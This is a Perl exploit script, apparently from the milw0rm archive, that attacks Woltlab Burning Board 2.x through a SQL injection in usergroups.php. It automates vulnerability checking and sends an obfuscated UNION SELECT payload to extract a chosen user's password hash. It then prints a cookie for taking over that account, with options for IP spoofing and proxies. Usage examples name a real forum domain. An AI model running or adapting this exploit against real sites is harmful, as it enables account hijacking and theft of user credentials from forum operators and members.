#!/usr/bin/perl
# Woltlab Burning Board 2.X usergroups.php SQL Injection exploit - burned2.pl
# written by x666 <blueshisha@safe-mail.net>
# jmp-esp.kicks-ass.net;blueshisha.chills.it
# SR-CREW
# should work on every wbb regardless of php settings.
#
#
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Response;
use HTTP::Status;
use Getopt::Std;
getopt('uiUpAcC');
our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_C );
my $target = shift;
sub do_request($$);
if ( !$target ) { &HELP_MESSAGE; }
if ( !$opt_U && !$opt_C) { &HELP_MESSAGE; }
my ( $host, $folder );
if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) {
$host = $1;
$folder = ( $2 ? $2 : '/' );
if ( $folder !~ /\/$/ ) { $folder .= '/'; }
$target = "http://$host$folder" . 'usergroups.php';
}
else { &HELP_MESSAGE; }
my $ip = ( $opt_i ? $opt_i : '127.0.0.1' );
my ( $userid, $userpassword, $proxy, $proxyip );
( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U;
( $proxy, $proxyip ) = split( ':', $opt_p ) if $opt_p;
my $uid = ( $opt_u ? $opt_u : 1 );
my $useragent =
( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
my $prefix = ( $opt_c ? $opt_c : 'wbb2_' );
my $isHash = 0;
print "burned2.pl written by x666\n";
print "report errors \@ blueshisha\@safe-mail.net.. thx\n";
print "[x] Attacking $target...\n";
if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; }
if ( !$opt_c ) {
my $headers = do_request( '', '' );
if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) {
$prefix = $1;
}
else { print $headers}
}
print "[x] Cookie prefix: $prefix\n";
print "[x] Vulnerable check:";
my $answer;
my $pre;
$answer = do_request( '\'', '' );
if ( $answer =~ /FROM (.*?)_applications/ ) {
$pre = $1;
print " Vulnerable\n";
}
elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/
or $answer =~ /Access denied/ )
{
print " No Idea\n";
print "[x] usergroups.php only for users,";
print " wrong userdetails or wrong cookie-prefix!\n" if $opt_U;
exit;
}
else {
print " Not Vulnerable!\n";
print $answer;
exit;
}
print "[x] Unleashing black magic...\n";
$answer = do_request(
'/**/UNIoN/**/ SeLeCT/**/ CoNcAT(password,CHAR(39)),'.$userid.' FROM '.$pre.'_users wHere userid%3D'.$uid.'/*%5D',''
);
if ( $answer =~ /${folder}usergroups.php/ and $answer =~ /([a-f0-9]{32})/ ) {
print "[x] Looks good!\n";
print "[x] Userid: $uid\n";
print "[x] Hash: $1\n";
if ( !$opt_C ) {
print
"[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n";
}
}
else {
print "[x] Looks bad!\n";
print $answer;
}
sub HELP_MESSAGE() {
print "burned2.pl written by x666\n"
. "perl $0 [options] url\n"
. "examples:\n"
. "perl $0 -U 10:123456 woltlab.de/de/forum/\n"
. "perl $0 -u 2 -i 127.0.0.2 -U 10:123456 woltlab.de/de/forum/\n"
. "overwrite -c only when the auto-check "
. "gives you a false result\n"
. "use -C when you need some special cookies\n"
. "options :\n-u userid of victim [1]\n"
. "-i faked client-ip [127.0.0.1]\n"
. "-U userid:password or userid:pwhash [none]\n"
. "-p proxyip:proxyport [none]\n"
. "-A user-agent [firefox 1.5.09]\n"
. "-c cookie-prefix [auto-check]\n"
. "-C raw cookie\n";
exit;
}
sub do_request($$) {
my $string = shift;
my $otherurl = shift;
if ($otherurl) { $target = "http://$host$folder" . $otherurl; }
else { $target = "http://$host$folder" . 'usergroups.php' }
$string = '/*' if ( !$string );
my $ua = LWP::UserAgent->new;
if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); }
my $request = new HTTP::Request( 'POST', $target );
$request->content( 'applicationids%5B0)' . $string . '%5D=1'
. '&action=groupleaders_deleteapplications');
$request->authorization_basic('projectb', 'neustart');
$request->content_type('application/x-www-form-urlencoded');
$request->header( 'User-Agent' => $useragent );
if ($opt_U) {
my $userhash;
if ( !$isHash ) { $userhash = md5($userpassword); }
else { $userhash = $userpassword; }
my $cookie = $prefix
. 'userid='
. $userid . ';'
. $prefix
. 'userpassword='
. $userhash;
$request->header( 'Cookie' => $cookie );
}
elsif ($opt_C) {
$request->header( 'Cookie' => $opt_C );
$userid=3265;
}
$request->header( 'Client-Ip' => $ip );
my $response = $ua->request($request);
my $body = $response->content;
my $headers = $response->headers_as_string;
$body = $response->error_as_HTML if ( $response->is_error );
return $headers if ( $string eq '/*' and !$response->is_error );
return $body;
}
# MD5 Code ripped from Libwhisker for bigger portability
# thx rfp :)
{
my ( @S, @T, @M );
my $code = '';
sub md5 {
return undef if ( !defined $_[0] ); # oops, forgot the data
my $DATA = _md5_pad( $_[0] );
&_md5_init() if ( !defined $M[0] );
return _md5_perl_generated( \$DATA );
}
sub _md5_init {
return if ( defined $S[0] );
my $i;
for ( $i = 1 ; $i <= 64 ; $i++ ) {
$T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) );
}
my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 );
for ( $i = 0 ; $i < 64 ; $i++ ) {
$S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ];
}
@M = (
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12,
5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2,
0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9
);
&_md5_generate();
my $TEST = _md5_pad('foobar');
if ( _md5_perl_generated( \$TEST ) ne
'3858f62230ac3c915f300c664312c63f' )
{
die('Error: MD5 self-test not successful.');
}
}
sub _md5_pad {
my $l = length( my $msg = shift() . chr(128) );
$msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 );
$l = ( $l - 1 ) * 8;
$msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 );
return $msg;
}
sub _md5_generate {
my $N = 'abcddabccdabbcda';
my ( $i, $M ) = ( 0, '' );
$M = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems
$code = <<EOT;
sub _md5_perl_generated {
BEGIN { \$^H |= 1; }; # use integer
my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476);
my (\$a,\$b,\$c,\$d,\$t,\$i);
my \$dr=shift;
my \$l=length(\$\$dr);
for my \$L (0 .. ((\$l/64)-1) ) {
my \@D = unpack('V16', substr(\$\$dr, \$L*64,64));
(\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D);
EOT
for ( $i = 0 ; $i < 16 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .=
"\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
for ( ; $i < 32 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .=
"\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
for ( ; $i < 48 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
for ( ; $i < 64 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
$code .= <<EOT;
\$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff;
\$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff;
} # for
return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); }
EOT
eval "$code";
}
} # md5 package container
# milw0rm.com [2007-03-15]
